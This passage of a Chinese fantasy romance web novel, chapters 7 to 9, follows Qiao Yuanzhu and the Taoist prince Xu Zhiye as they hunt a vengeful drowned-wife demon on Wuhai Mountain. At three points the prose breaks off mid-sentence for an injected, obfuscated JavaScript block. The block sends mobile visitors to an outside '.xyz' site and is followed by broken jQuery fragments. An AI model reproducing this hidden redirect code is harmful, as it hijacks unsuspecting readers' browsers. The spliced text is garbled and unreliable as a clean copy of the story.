“除此之外,就是五日前猎户熊二带尤三儿上山打猎的事儿,这事儿您应该听说了,那尤三儿也是在翠石桥没了踪影的。”
“嗯,那浣洗的妇人死了?”
“尚且安在。”安子答道。
“那你可知熊二是个什么样的人?”
安子觉得奇怪,也没多想,道:“晏京城的猎户里头,熊二是数一数二的,打的猎物多,且多凶兽,那皮毛扒下来,很是讨富家老爷们喜欢。但是熊二是个好吃懒做的性子,平时干什么都不着调,上山的回数手指头都能数过来,这么多年了,他家还是个漏雨房子,唉,可惜那身本事。旁的,便是这熊二还好赌!”
乔苑珠让安子退下,端起茶盏慢慢品起来。
突然听到楼下歌舞退了,晃晃悠悠走上来一个圆敦敦戴着书生帽子的中年男人,刚一坐下正了正衣冠,便把醒木往桌案上一敲。
“上回说道,这晏京城里有名的公子哥儿,可以说是不胜枚举,不过那皆是些富贵享乐之辈,没事就爱往莺燕堆里扎。要说这里面谁出身高贵又文韬武略,为人谦逊还洁身自好的,当数那礼王府上的嫡亲长公子徐枳也徐世子是也!”
“这位世子殿下,命带贵格!父亲乃是当今皇上的亲弟弟礼王,母亲乃是皇后娘娘的亲妹妹!敢问在座的各位,谁生在这样的家庭不养出个泼皮性子?但是这位世子殿下,偏偏一股清流,对享乐安逸毫无兴趣,早早通了天识。”
“三岁识千字,六岁写文章,九岁读章之阅章相的文章,认为里头颇多观点有误,遂大笔一挥洋洋洒洒写了一篇评文驳斥章相,各位猜怎么着?”
说书人说到这儿,缓缓抿了一口茶,卖起了关子。
7. 世子殿下 “怎么着呀?”
“怎么着呀?”
有人起哄问了,说书人才接着道:“那章相非但没有生气,还在世子殿下十岁生辰时收他做了门生。”
“当真是天降文曲星,天才也!”有人感叹道。
“不仅如此,世子殿下不甘心只做读书郎,十二岁又拜入玄都观,师从观主荆从。咱们老晏京人都知道,玄都观乃是皇家道观,荆从观主精通儒、佛、道三教上乘密法,行的皆是捉妖驱鬼、化解怨气、超度之事。”
“五年前大妖祸世,山崩地裂,天降血雨,妖兽横行,惨死了多少咱们的同胞!想必在座的各位如今想起来也心有余悸!”
“当年,便是这位鼎鼎有名的世子殿下设计,施法设阵困住了大妖。
几番缠斗之后,世子殿下一个点地,凌空而起,祭出千张符箓护持周身,脚踩灵火,手持却邪宝剑,如流星火石般冲入阵中,一剑洞穿那大妖腹部。
世子殿下又赶紧双手捏诀,朝天一指,一时之间血雨散尽,天雷滚滚,一条通天的金甲巨龙从天际探出头来。
金甲巨龙怒吼一声,震得人耳不能闻头昏脑涨,巨龙口中喷射出一股洪流下来,这才将那妖怪降伏!”
“事后,世子殿下又同一众同门师兄弟剿杀妖兽,阻拦山崩才平了这场祸事,没让更多人命丧黄泉呐!”说书人说得痛心疾首。
说书人将醒木往桌上一拍:“大战之后,皇上龙颜大悦,赏黄金万两用于修缮拓宽玄都观,赐了世子‘玄法将军’的称号!”
“好!”
众人鼓掌,仿佛当年那场大战的胜利就在昨日。
乔苑珠听得头昏脑涨。
忽见隔间有小厮走到廊中,扶着杆子朝下一问:“那这位世子殿下如今可有心悦之人?”
“这位小哥儿可曾听说过‘寻芳博士’?”
说书人并不直接回答,转言卖起了关子,笑道:
“少年鲜衣怒马正当时,如此赫赫战绩,咱们晏京城里的小娘子十有八九都心悦这位世子殿下,但却从未听闻世子殿下心悦哪家娘子,只有一个传说。
传说有一天,卯时已过,却迟迟不见太阳升起,只大雾弥漫,仿佛狂风暴雨将至。忽听一阵得得疾驰的马蹄声,原来是世子殿下纵马在晏京城里疾驰,跑遍晏京城里所有院中栽花的人家。
敲门不为别的,只为寻一朵今晨刚开、带着露珠、最为娇艳的一朵鲜花,合扎成九百九十九朵,后又纵马扬尘而去。
世子离开后不久,这晏京城雾也散了,天才彻底亮起来。”
“有人要问了,世子去了哪里?摘的花是要送谁?没人知道。
要说这不是送予哪家小娘子的,恐怕在座的大家都不信!我也不信!
但这位小娘子姓甚名谁、家居何处,无人知晓。从此民间便自发给这位小世子殿下取了个雅称--‘寻芳博士’!
寻的是百花齐放,寻的是花下娇娘。”
问完安子话,乔苑珠便遣了阿青去西市,此时应该回来了。
听到一阵轻盈的脚步声,果然阿青掀帘进来。
见到阿青有些微喘,忙给她递上一杯茶,道:“不急,先喝口茶。”
阿青一杯下肚,道:“我去了见了尤三娘子,她精神头看起来有些不好,说话也有气无力,感觉确是因为丈夫失踪魂不守舍。”
“听她说,他们家与熊二家常走动,尤三和熊二关系十分要好,尤三娘子深知那熊二不是个好品行的,她劝过她家郎君好多回,不过尤三不甚听她的劝告。
尤三他老娘常年有咳病,断不得药,熊二有日专门上门,说他得了一株灵药,专治咳病,要送予尤三老娘,此后更是月月给尤三家送去。
只是药喝了不少,白日精神看起来是好了,可是一到了晚上,咳得更凶了。”
“我还看到那尤三儿娘子胸口带着一枚极小的坠子,像是兽牙或是兽骨做的,虽雕工颇细致,样式却极为普通,应该值不了几个钱,若是不特意观察,想必不会有人在意这枚坠子。”
“还有一事,熊二曾经托人找过庄宅牙人问过尤三家的铺面值多少钱。”
乔苑珠听罢,笑道:“是了,走,咱们去熊二家看看。”
乔苑珠一路无言,只在心里盘着线索。
先前吾亥山已然传出有妖邪作祟害死路人的事,且死的人并不在少数,这种情况下熊二还真是胆比天大,硬带着尤三儿上山打猎,当真是人为财死鸟为食亡?
上月中传出有女鬼从河里爬出来,之后没隔几天吾亥山便出事了,再之后便是熊二和尤三儿在翠石桥也遇见跳河女鬼……莫不是那要跳河的女鬼与浣衣妇人遇到的女鬼是同一个!
鬼现形,乃是已经修成妖身,必有血灾,浣衣妇人却没死,熊二也没死……
思索着,俩人已经到了熊二家门口。
眼前是一个破落的院子,院内只建有一个堂屋,一间卧房,没有单独的庖屋,茅厕就挖个坑上面木头桩子搭了点稻草,打猎得来的鸟兽皮毛堆满了小小的院坝。
院门敞开着,院中央有个面色蜡黄、身材干柴的老妇人正在院中摆弄收拾,听到有人走进,抬头问道:“两位小娘子找谁?”
“请问熊二哥哥在吗?奴家找他有话。”乔苑珠见了礼,又略作娇羞局促。
“我家娘子前段时间得熊二哥所救,特来当面道谢,”阿青说着将路上买来的礼品一齐递到妇人手中,道:“略备谢礼,还请大娘您先收下。”
妇人接过礼品掂了掂,沉甸甸的,又摸了摸包装,料子也极好。打量眼前是两位穿着打扮颇为讲究的年轻小娘子,都遮了面,举手投足间尽显大户人家小姐的气质,礼数也做的周全,心里喜极,连忙道:“原是上门做客,先进堂屋先坐坐罢,我儿在屋里休息,我这便去叫他起来。”
妇人先是引着乔苑珠和阿青进了堂屋,又端上来一壶温水,招呼俩人稍待就出了堂屋。
熊二近来惹了官司,多少有些草木皆兵,一踏进堂屋门便颇为谨慎的打量起安坐的两名女子。
两人均遮了面,看不见面容表情,身量又和寻常女子无甚区别,无奈道:“鄙人应该未曾见过二位
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071462|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,何故骗我老娘说是故人?”
见熊二进来,乔苑珠立刻捏诀,然则眉心咒印没有丝毫反应。
若真如熊二此前所说,他和尤三遭遇妖邪,那他身上必沾染妖邪之气,且十字印感受到妖气才能开启,思索到此,乔苑珠冷言道:“尤三可是死于你之手?”
熊二闻言当即炸了毛,道:“娘子慎言!娘子今天莫不是知我惹上官司,特地上门来寻我的晦气?便是当着县令老爷的面,挨了二十板子我也是如此说!尤三是被女鬼捉了去,与我无关!”
“上月中,城外翠石桥有人传言看见女鬼从河里爬出来,随后吾亥山便传出妖邪祸乱死了好些个人。恰好官府没有宣扬此事,你便也觉得传言不可信。只不过有妖邪为祸人间,倒是给了你方便,是也不是?
你此前主动请缨,月月给尤三老娘送灵药,病没治好,倒让老人家咳得更凶了,是也不是?
你又时常送尤三娘子礼物极尽讨好,还寻了牙人打听尤三铺子,是也不是?”
熊二听的满头冒汗,但是转念一想,这小娘子有何证据?立马辩驳道:“你这小娘子,口舌当真厉害!我与尤三儿是兄弟,两家走动多了些,这有何问题?你有何证据证明,尤三儿乃是我所杀?”说着便要将乔苑珠主仆赶出门去。
乔苑珠道:“你怎知我没有证据?即便如你愿,我手中没有证据,那我便将我所知尽数讲给尤三娘子和他老娘听,你猜他们会作何感想?他们会不会找到什么其他证据交给官府?再者,我也可顺手再给官府老爷们写上一封信,你猜正愁着抓不到妖邪的官老爷们会不会着人来拿你?”
熊二闻言不说话了,他只觉一切都已瞒不住,瘫坐地上,气虚道:“你有什么要求,便尽管说。”
乔苑珠道:“我要你带我上吾亥山。”
-
晏京城,京郊,吾亥山,戌时三刻。
熊二举着火把,引着乔苑珠和阿青抄了近道进山。
山中林深路险,古木冲天,抬头不见星与月,左右不闻鸟虫鸣。
已行至山顶,没有预料中的凉爽之意,周遭雾气露水全无,炎热比之山下更甚,三人都已汗渍涔涔。
自进山那一刻起,乔苑珠就闻到一股血腥味,且愈靠近山顶愈浓烈。
“啊——!”
熊二大叫着丢掉火把,瘫倒在地,连滚带爬往后退道:“尸……尸林!是尸林!真的有妖怪!妖怪来了!妖怪来了!”
乔苑珠被熊二突然的喊叫吓得倒吸了一口气,心跳咚咚,拳头在胸口处紧了又紧。
虽说与妖怪打了多年交道,但是这胆量,乔苑珠是一天也没练起来。偶尔遇到解决不了的妖邪,边逃还要边骂那白面书生多管闲事,自从有了这咒印,多招妖邪,半夜都有鬼探头,教她苦不堪言。
此番上山,非要拉上熊二一起,一来是他熟悉山中地形,二来也是为了给自己壮胆,没成想熊二是个孬的!
乔苑珠稍稍平复心境,拾起火把朝前,刚走了两步,妖气扑面,血腥味直冲颅顶,眉心十字印突然开始发烫。
8. 相遇火花带闪电 前头是一片开阔。
前头是一片开阔。
临时歇脚的器物散乱一地,往上一看,树杈间赫然悬吊着几具尸体,风吹动还摇摇晃晃,一团青色的妖气萦绕上空。
尸身早已腐坏,虫蝇环绕,一股恶臭挥之不去。走近仔细看,这几具死尸均被挖了双眼,腹部有巨大的豁口,利爪痕迹遍布全身,由肠肚绕颈悬至树杈上。
“此处确有妖邪作祟。”
乔苑珠正色道:“只是与传言所述不同,这里的尸体死状皆是一模一样,看起来倒像是怨念成执,一遍又一遍重复同一个行为……这妖邪恐非精魂所化,乃是人鬼修成。”
“人鬼修成妖身十分不易,娘子是说,此事还牵连冤案?”阿青道。
“嗯。”乔苑珠继续道:“只是我们此前探听并未获知,线索全无,若与那妖邪正面对上,恐怕不妙。”
阿青环顾四周不见熊二,道:“娘子,熊二跑了。”
乔苑珠道:“随他吧,前头有处石洞,我们过去看看。”
阿青举着火把,牵着乔苑珠进到石洞中。
洞口有几处陈旧的燃烧痕迹,黑黑的,像是有人为了驱赶野兽燃起的火堆。只是形状颇有些奇怪,每一处都中间空,四周呈三角形状。
往里走大概二三十步便到头了,阿青手中的火把也能将此处照亮的七七八八。
“娘子!你快来看!”阿青道。
乔苑珠疾步过去,只见石壁夹角处有一具尸骨,准确来说,是一具婴儿半腐的尸骨,肚脐上还连着脐带,死去的时间并不久。
乔苑珠又仔细查看周围,见不远处的石壁上似有抓痕,但又不像是野兽的爪痕,若是有野兽,何以这具婴孩儿尸骨保存如此完整?
乔苑珠和阿青正都仔细查看着石洞内的蛛丝马迹,忽然耳边响起一阵痴怨凄婉的声音。
“郎君,奴家识不得回家的路……”
“郎君,你叫奴家好等啊……”
寒气涌入石洞。
阿青吓得连连后退,火把掉到地上,阴湿的土潮熄了火,乔苑珠眉间的十字咒印亮了,金尘扬洒。
“娘子!”阿青喊道,伸手想要去拉乔苑珠,无奈两人隔了些距离,洞中又黑,拉了个空。
乔苑珠没立马回应,只扶着石壁蹲下,掏出怀中的小刃紧紧握在手中,她将怀中藏的自己画的符纸朝前头撒去,又在脚下摆了个圈。
“阿青,来我这边!”乔苑珠唤道。
等了好一会儿,不见阿青回应,连忙又唤了好几声,皆没有人应,心道不好,急忙起身往洞外奔去。
跑出洞口依然不见阿青,原先的平地尸林早已不见,幻变成了密林,方向难辨。
乔苑珠焦急环顾四周,忽地背后传来一阵啜泣的声音,湿润的吐息就在耳边,一只湿漉漉的爪攀上肩头。
乔苑珠兀地转身,念动口诀:“缚!”
灵力化作一条金蟒,排山倒海之势窜出,直奔妖物面门去。
妖物借势连连闪躲后退,金蟒哪里给它喘息时间,找到机会迅速攀缚而上,刹那间浑身金光化作千百根尖刺,深深扎入妖物皮肉之中,骤时,妖邪嚎哭不止。
趁此,乔苑珠立即转头择了一条路奔去。
乔苑珠这回吓坏了。
那妖物身形似马又似虫,背脊上长有一排尖刺,周身皮肉漆黑,凹凸不平长满了肉瘤,浑身湿漉漉的,往下滴答着不知是水还是血,一双利爪坚如玄铁,若是受它一掌,只得当场殒命。
从前遇到的妖邪,皆已修成人身,从未像今日这只般触目惊心。
往常只消放出金蟒,就可以将那妖邪拿下了,如今这只,金蟒只得堪堪缚住,来无影去无踪,随意变幻方位,生人着了它的道,一个踏步便身处异处,就算不被它拍死,也要被这变化莫测的方位困死在密林里。
见到这凶悍场面,乔苑珠边逃跑边又担心起阿青来。小丫头半大就跟着她,自学了些拳脚,喝退流氓山匪还行,哪里是妖邪的对手,早知如此,便不该带阿青上山来,想到此处乔苑珠心急如麻,眼眶也红了起来。
已经跑出很远,那妖物还在哭嚎,悲戚的声音就在耳边,不见影子,看来金蟒只能暂时困住它,并不能将它直接杀死。
乔苑珠只顾着一股脑地跑,奔跑间,不知从何而来,亦不知前路何处。
突然,数声狗叫在身后响起,她转头一看,不知从哪里跑出来的荒山野狗也要来凑她的热闹。前脚刚从妖物嘴巴底下逃脱,如今野狗也要来欺凌她!
乔苑珠欲哭无泪。
若是妖邪,她只需催动咒印,不说将这群野狗打死,好歹也能求个全身而退,现在好了,根正苗红的野狗,没有半点邪气,她只有跑的份儿。
可是野狗的速度惊人,且大约有十只左右在一齐追她。跑是肯定跑不过,便只能打。她记得小时候娘亲教过,若是遇到野狗,就捡地上最粗的棍子,再学兽吼,吓唬它们,只有叫得比它们还凶,它们才会觉得你是更危险的存在,才会离开。
乔苑珠绕过一抱粗的大树,正好地上有一根腕粗的棍子,她当即抬起来,从树后站出去,躬着身学着野兽的模样,再启唇学起了野兽低吼。
连叫了两三声,果然对方有了退却之态,她一边威喝,一边往后退,对峙的局面堪堪维持住。正当她预备再次跑的时候,为首的野狗仿佛早就看穿了她的动势,后腿一蹬,就要朝她扑过来。
乔苑珠一边心中想着完了完了,今日就要命丧狗嘴,一世英明毁于一旦。她一边挥舞棍子,一边双脚乱踩忙不迭地往后退,退着退着,好像踩到了什么,可是野狗巨口就在眼前,来不及管了,只能闭上眼睛听天由命。
可是预期的野狗利齿没来,反倒后背撞上什么柔软的东西,而且还有一阵草木香气飘过来,她转头一看,是个笑面郎君。
笑面郎君一手握住她持棍那只手的腕,一手握住宝剑,护住她的同时,三招两式将为首的野狗打退,且还削了它一片肉下来,其他的野狗见状纷纷腿软,自顾自地跑了。
乔苑珠刚想松口气,向身后的小郎君道谢,突然觉得脚下还踩着什么,令她很是在意,故而她还是选择先低头看了一眼,这不看不打紧,一看要了命,她发现自己的脚正正好好踩在身后小郎君的靴子上!
“荒山野岭小娘子乱跑,不知你是鬼,还是妖啊?”头顶传来郎声。
然而乔苑珠无法反驳,因为先前的妖物追上来了,她眉心的咒印乍亮,她连忙用手捂住,可已经难以掩住外溢的金尘。
阴风瑟瑟,一阵啼哭声盖过头顶,哭声悲痛欲绝,像是有什么天大的冤情,难消难解。乔苑珠听着,只觉耳鸣难忍,头痛欲裂。
徐枳也一把将乔苑珠扯到身后,抬手捏了个诀,往前扔出一道符录,同时举掌往地上一拍,只见无数青色脉络如同游蛇窜出,他大喝一声:“引雷!”
符箓飞出,顷刻间,狂风大作,平地惊雷起。
无数球状惊雷动如脱兔,像是在妖邪身上安了定位符,妖邪躲到哪儿它追到哪儿,避无可避,蹿腾间妖邪身上被灼出无数口子,左臂被生生劈断,浓稠腥臭的血浆从断口淌出。
妖邪吃痛,怨气大涨,喉咙发出呜呜的浑浊声音,好像是在念咒,突然,四周泥土松动,竟破土而出几具腐尸!
腐尸摇摇晃晃,像桥线木偶,挥舞利爪撕扯抵挡惊雷,又朝徐枳也袭来。
徐枳也见状,也不恋战,当即一个打横,把乔苑珠抱起,足尖点地,凌空而起,又朝妖物掷出一道符箓后,踩着枝头,朝后奔去。
此番斗法,乔苑珠只觉的背上的手臂力气颇大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071463|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,掌得她背心发热,面上又感受到一阵清风,吹得人发丝乱舞,衣袂翻飞。
不一会儿,妖邪的声音没了,四下也安静下来,她只听见咚咚咚的心跳声,又觉得今天咒印很是奇怪,愣是烫的她耳根子脖颈子都红了,心道定是今日这妖怪厉害非常。
乔苑珠慢慢睁眼,侧头确认妖邪是否已经驱退,突然听到一道声音不疾不徐地从头顶传来,似笑非笑,道:“小娘子身上有妖气。”
她听不出这句话是盘问还是断定,心中思量再三,还是决定先看看此人面相。若是好相与的,她便想个像模像样的由头编排一番,若是不好相与的,那便……走一步看一步。
她偷偷抬眸,打量着,郎君发髻高高束起,衣袂翻飞,眼下月色清幽,像是周身镀了一层银辉,潇洒恣意至极。周身暗香逸散,纵是身处如此诡谲的境地,也叫人心旷神怡。
侧脸棱角分明,一双眼睛灼灼神采奕奕,比之秋日郎朗明月也不输。此刻他的眉心紧蹙,似是在为妖邪之事劳神,嘴角却是挂着笑,似乎是人格有些分裂……
鼻子的弧度很好看,只是鼻尖似乎是染上了一点尘土,她忍不住抬手想替他拍掉,却被一掌拍回来。
……应当是不好相与的,编排的话需得早些想好,免得被他捉了把柄去。
刚才妖物怨力大涨,周遭方圆十里怕是都被妖气笼罩,即便有妖气,那也是那妖物的,为何此人上来就说她身上有妖气?焉知不是那妖物沾染到她身上的?
唯一可能有问题的,便只剩下眉心的那颗十字印。当年她对那书生并不是没有怀疑,只是这么多年验证下来,她的病情的确得到了控制……
眼下想破脑袋也想不出个所以然,重新打量此人道士装束。一身正气,腰间别了个纹龙紫金葫芦,身后背着一把玄铁宝剑,想来应该是晏京城中哪个道观的道长,三招两式便能困住妖邪,道行应是颇高的,加之看起来又不好相与,定会将她收到葫芦里去!这可如何是好!
没等她思量完,两人落了地。
徐枳也正了正衣冠,拍了拍先前被乔苑珠踩了个硕大脚印的靴子,再瞥向乔苑珠,发髻松散凌乱,还垂了一绺到胸前,一张脸满是黑灰,可唇色嫣红,气血充沛,不像被吓得不轻,一双小鹿眼骨碌碌直转,蹙眉屏息,一看就知道是在打什么鬼主意。
先前他在院中布阵,亲眼见到一条金蟒现世,跑出来查探,不见金蟒,倒是上回捉鱼妖的小娘子,被野狗追得满山跑。
加之刚刚与妖邪斗法,他分明看到她眉心有金光闪烁,隐约间有妖力溢出,现下再看,印记全无、妖气全无,难道真是他看错、闻错,妖气是那妖邪的?
常茂说得不错,晏京近来祸事频发,回回都有她在,要说她是清白的,他自己都不信。
见她一声不吭还想走,徐枳也将手一横,挑眉道:“小娘子想好怎么回答我刚刚的问题了?”
乔苑珠磨蹭了半天,转过身来指着额头,再配了个人畜无害的笑,道:“许是被那妖物打的,打的这儿,人都打傻了。”
此时装傻是为上策,妖物都要寻上门儿了,火烧了眉毛,他还能得空闲捆了她逼供不成?
徐枳也无语,转身朝院子走去。
见徐枳也全然进了院中,乔苑珠这才长舒一口气,望向密林,眉头紧锁。此时不知阿青如何。她念动口诀,朝空中抛出一如气如雾的光团,光团似是有感应,在空中盘旋几番,朝一个方向直直飞去。
只盼着阿青没事,能寻着这光团来与她汇合。
她又想到,今日这妖物法力高强,单凭她一个人恐怕事倍功半,一个不慎,丢了性命也说不定。这位道长道术不凡,若是能与他联手,寻着机会收了那妖邪的怨气,此番才不算白来。
罢了,也转身朝院中走去。
9. 死生不复相见
院中东侧,整齐摆放着十来具尸体,看穿着打扮,与寻常村民无异。其中一具看面相像是蛮国人,穿着也与其他几具尸体格格不入。
看尸体的腐坏程度,应当都是近半月来出的事,与先前在石洞前看到的尸体一样,这几个人也是剖腹绕颈而亡,尸体周身还环绕着淡淡的妖气。
徐枳也一刻不停,道:“法阵可设好了?”
一名侍从模样的少年上前来正要禀报,见徐枳也身后还有一陌生女子,顿了顿道:“依照您的吩咐,已设好归一阵。”
乔苑珠循声望向院子中庭,只见地上有千张符箓,规矩地摆成一个巨大的法阵。法阵中央竟还捆着一名男子,那男子被堵了口,眼中惊恐不已,涕泗横流。
乔苑珠心惊,难道这位道长竟是个铁血手腕的,要用生人引妖邪入局?恐怕眼下自己更要谨慎,不能随意暴露异术,防着这位道长捉了她去当引子,或是把她当做妖怪收进葫芦里。
左右环顾,寻了一处隐蔽地,隐了身形。
徐枳也对着设阵少年道:“刚与那妖物正面交手了,修为颇高,一招一式摸不出规律。我已将吴辛的衣物碎片沿路丢掷出去,休息片刻,只待妖物入局。”
吴辛便是指法阵中间那名男子。早先那华青县的曹彰找上门来,道吾亥山已是座妖山,凡上过这座山的人皆死于非命,加之翠石桥有人见过一女妖从河中爬出来作乱,称眼下晏京城已是岌岌可危,非得玄都观出面镇压不可。
恐是担忧他多想,又道他早已发了告示安抚百姓,道是山中盘踞已久的流匪作乱,官府已然出面平了匪患,要大家莫要担心,要他莫要忧心。
可他清楚,这曹彰就是个尸位素餐的,发告示恐怕是想利用妖邪作乱正巧平了匪患的事,揽到自己身上,好居功。
他虽不喜,但妖邪作乱,不得不管,还得想个法子让那曹彰吃个大亏。正好他怀疑此事皆因人祸而起,打听多日得知,翠石桥虽有女妖出没的传言,可从未有人真正丧命在那女妖手底下,翠石桥又离五亥山不远,那么焉知吾亥山的事件起点不是翠石桥呢?遂令曹彰发悬赏令出去,探一探近些日子翠石桥有没有可疑的人盘旋。
这么一来一去,就调查到了绸缎庄老板吴辛身上,这吴辛老实本分,兢兢业业,只是,近日才死了娘子。
-
月上枝头,子时已到。
四下落针可闻,只剩法阵中央那名男子呜咽不止,祈求着徐枳也饶他一命,又企盼着妖邪莫来。
忽而,猩红雾色弥漫,院门洞开,一阵阴风灌入,枯黄落叶裹着尘土翻飞,呛得人直想咳嗽,乔苑珠拼命捂住嘴。
院门口不见妖邪现身,院中地面不知为何变得潮湿起来,裹杂着血腥味,院墙外还隐约传来翻动泥土的声音。
啪嗒——啪嗒——
水滴落的声音,一步一顿,有什么东西靠近了。
轰的一声巨响,只见一身形似虫的怪物突然闯入,不是先前林中那只又是谁?猩红的妖气四溢,先前在林中被砍下的左臂,如今正完好的长在原处!
徐枳也面不改色,立于阵前,右手持剑,左手捏符,率先朝前两步,捏诀将符箓掷出,霎时一条火蛇从符箓中翻出,瞬间缠上妖物的身。
妖物不甘示弱,朝天一吼,嘶吼中,死尸攀上墙头,意欲进到院落中来。
徐枳也翻身腾空,挽了剑花朝四周一挥,剑气破空,斩得死尸哀嚎不已。少年侍者见势,立马甩出一道绳索,绳索所及,死尸立时化作血水。
两人左右开弓,配合默契,稳住了局面。
妖物周身的火熄了,被烧过的地方浅浅露出红肉,不一会儿又愈合,恢复的速度惊人。
突然一阵夜风吹来,妖物像是闻到了什么熟悉的味道,歪了歪头,喉头呜咽两声,直直朝法阵飞去。
那法阵本就是徐枳也为引诱妖物而设,只能进,不可出,只一瞬,那妖物便轻松越过法阵,欺身至那男子跟前。
近在咫尺的距离,男子哪里见过此等凶骇场面,身子早已抖若筛糠,口被堵住,只能发出呜呜的哭嚎声。
妖物站定瞧了瞧,忽地腾身跃起,在空中打了两转,化作一清冷女子,身着青衫,长发及地,玉骨冰肌。
只一双眼睛还是猩红一片,十分妖冶,让人一看便知是妖物。
女妖蹲下,双手覆上男子的脸颊,拔掉他口中的布条,又挥手去了他身上的捆绳,声色柔情似水,满腔的眷恋与欢喜,道:
“郎君,你叫奴家好等啊!”
男子问声抬头,满脸疑惑,哑声道:“依娘?”
“辛郎,是我!你是担心我,来寻我了?”
男子瞬间瞪大双眼,眼中不再是惊慌与恐惧,取而代之是满腔难以言说的愤怒不甘与屈辱,厉声喊道:“真的是你!哈哈哈哈哈哈哈!你竟还没死?你竟还没死!”
女妖表情冷淡下来,道:“郎君与我夫妻两载,如今待我却不若寻常路人,当真是无情!”
闻言男子仰天狂笑不止,两行血泪从眼眶涌出,不知是他的血还是沾染的那女妖的血,道:“你我之间哪里来的情谊?两年同床共枕,我本意与你相敬如宾,可你!你与你阿爷!竟半分不给我留余地!半分不给鸢娘余地!”
霎时,妖物血红的爪甲伸长数倍,妖气全不掩盖,道:“与我阿爷何关?是你负了我!是你让我独守空房两年!是你推我下的桥!”
说着妖物将手抚上男子的脸,“辛郎可知,那石桥水,好冷啊!!”
男子啐了一口:“纵是要推你下去十遍百遍!千遍万遍!我亦不会有半分犹豫!只恨我懦弱无能,没能早点与你断绝,才让鸢娘落得无名无份,遭人白眼唾弃,芳魂早逝的下场。”
“你说什么?方鸢死了?”女妖讶然。
“如此虚情假意,当真是与你那好阿爷一模一……”
男子话还未说完,女妖反手一个掌掴,男子失衡跌坐在地,女妖厉声道:“不准你辱我阿爷。”
“哈哈哈,辱你阿爷?你不是早已知晓,你我婚事,便是他一手促成?”男子蹒跚着站了起来,失魂落魄,道:“那你可还知,便是你口中的阿爷害死了我的鸢儿!?”
说着,男子怒目圆睁,睚眦欲裂,额头的青筋凸起,双手猛地掐上女妖的脖子,吼道:“你怎么还不死!凭什么我的鸢儿如此薄命!?”
“你我,当死生不复相见才对!!”
女妖不作还手,只凭男子掐着连连后退,后背抵上法阵,烫出了脓血和黑烟,哭嚎道:“好个死生不复相见!!”
女妖怒气飞涨,双手又化作野兽利爪,拂袖一挥打掉男子的手,硕大的掌就要拍上男子的面门。
徐枳也立时一挥衣袖,一根晶莹的丝线从袖中飞出,稳稳缠绕在男子腰间,将男子拽出法阵。
然妖物的利爪将将擦过男子的脸,男子的脸上赫然三道口子,血肉模糊。
“常茂,护好吴辛!”
徐枳也边喝,边持剑朝女妖刺去,女妖稍一侧身躲过,翻身念咒,身前立时翻土而出几具腐尸,猛朝徐枳也扑去。
徐枳也遂把利剑朝空中一掷,抬手结印,口中念诀,利剑在空中翻腾,画出一道灵符:“土相!起!”
脚下土石翻滚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071464|163220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,破出无数深坑,土石翻滚着化作泥藤,沿着腐尸的脚攀身而上,扼住其咽喉,又翻上腐尸头颅,如同千斤之鼎,须臾将腐尸按拽入土石深坑中。
“常茂,摆阵!”徐枳也退出法阵喝道。
两人一个腾跃,迅速在法阵东西两个阵位坐定,徐枳也祭出利剑,常茂叱动符箓,两人口中皆是念念有词。
顿时院子上方雷鸣电掣,狂风呼号,刹时间,一条金色巨龙拨云破空而出,周身浮动着紫色的雷电,口中雾气腾腾,巨龙一声吟啸,伸出一只巨爪直直朝女妖头顶砸去。
饶是如此,那妖物竟没露出半分惧色,只仰天长啸,口中念诀,召出无数腐尸迎击巨龙致命一击。
乔苑珠隐在角落,仔仔细细看着这场混战,只一瞬间!她好像看见法阵西北角,突然破了个口子!
乔苑珠倒吸一口凉气,急着喊道:“糟了!两位道长,法阵要破了!”
徐枳也闻言为时已晚。
妖物腾空而起,手中飞快结印,柔声道:“还要多谢这位小郎君,助我和夫君团聚,现我已修为大成,你们能奈我何!?”
说着,女妖一记手刀劈向困住她的法阵,只一刻,法阵四分五裂,徐枳也和常茂躲闪不及,纷纷被震飞,嘭的撞在院墙上,两人皆身受重伤,口吐鲜血。
女妖硬吃法阵一记强力反噬,妖气有半分令人不易察觉的减弱。
乔苑珠见状,心道今日算是遇到硬茬了。
现下院子里统共三个人,若是两位道术高强的小道士率先折在女妖手底下,自己岂不是更没有好果子吃,更勿论拿到女妖身上的怨力了。
药没先拿到,先丢了性命,前头兜兜转转做这许多就全白费了,眼下最好的法子还是要先救下两位小道士。
顾不得许多,乔苑珠快速将常茂拖至藏身处,转头又奔向徐枳也。
她快速抬手捏诀,眉心十字印大开,金尘在周身翻飞,一条巨大的金蟒倏忽窜出,照着那妖物的天灵盖砸下,趁着妖物分身乏术之际,又迅速捏了个诀,一个金光罩赫然罩立在她和徐枳也周围。
